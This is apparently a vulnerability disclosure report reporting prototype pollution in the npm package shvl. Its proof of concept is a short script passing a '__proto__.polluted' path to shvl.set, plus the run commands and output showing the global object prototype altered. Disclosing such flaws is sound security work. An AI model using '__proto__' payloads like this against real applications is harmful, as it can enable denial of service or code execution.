Prototype Pollution in robinvdvleuten/shvl


Reported on

Jan 6th 2021


shvl is vulnerable to Prototype Pollution. This package fails to restrict access to prototypes of objects, allowing for modification of prototype behavior using a proto payload, which may result in Sensitive Information Disclosure/Denial of Service(DoS)/Remote Code Execution.

Proof of Concept

  1. Create the following PoC file:
// poc.js
var shvl = require("shvl")
let obj = {}
console.log("Before : " + {}.polluted);
shvl.set(obj, '__proto__.polluted', 'Yes! Its Polluted');
console.log("After : " + {}.polluted);

  1. Execute the following commands in another terminal:
npm i shvl # Install affected module
node poc.js #  Run the PoC
  1. Check the Output:
Before : undefined
After : Yes! Its Polluted


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